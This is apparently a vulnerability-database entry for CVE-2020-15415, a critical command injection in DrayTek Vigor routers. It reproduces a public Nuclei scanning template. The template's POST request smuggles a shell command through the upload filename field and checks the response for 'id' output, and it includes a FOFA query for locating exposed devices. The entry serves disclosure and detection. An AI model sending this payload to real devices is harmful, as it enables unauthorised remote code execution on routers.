CVE-2020-15415: DrayTek Vigor - Command Injection

日期: 2025-08-01 | 影响软件: DrayTek Vigor | POC: 已公开

漏洞描述

DrayTek Vigor devices contain a command injection vulnerability in the cvmcfgupload functionality. The vulnerability allows remote attackers to execute arbitrary commands through specially crafted requests to the /cgi-bin/mainfunction.cgi/cvmcfgupload endpoint.

PoC代码[已公开]

id: CVE-2020-15415

info:
  name: DrayTek Vigor - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    DrayTek Vigor devices contain a command injection vulnerability in the cvmcfgupload functionality. The vulnerability allows remote attackers to execute arbitrary commands through specially crafted requests to the /cgi-bin/mainfunction.cgi/cvmcfgupload endpoint.
  remediation: |
    Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.
  reference:
    - https://github.com/CLP-team/Vigor-Commond-Injection
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15415
    cwe-id: CWE-78
    epss-score: 0.92854
    epss-percentile: 0.99756
    cpe: cpe:2.3:h:draytek:vigor:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: draytek
    product: vigor
    fofa-query: '"excanvas.js" && "lang == \"zh-cn\"" && "detectLang" && server=="DWS"'
  tags: cve,cve2020,draytek,rce,router,kev

http:
  - raw:
      - |
        POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

        ------WebKitFormBoundary
        Content-Disposition: form-data; name="abc"; filename="t';id;echo '1_"
        Content-Type: text/x-python-script


        ------WebKitFormBoundary--

    matchers:
      - type: dsl
        dsl:
          - regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)
          - contains(header, 'DWS')
          - status_code == 200
        condition: and
# digest: 4a0a00473045022100f1033aff0f9b58f2f775c8f5432e8c10ce8e2aa9563d915e40cfb3179275835f022026e0641549b69e1d2a8526d0c9837cf7e261c9c1b84f06307733d49b5e45dc70:922c64590222798bb761d5b6d8e72950

相关漏洞推荐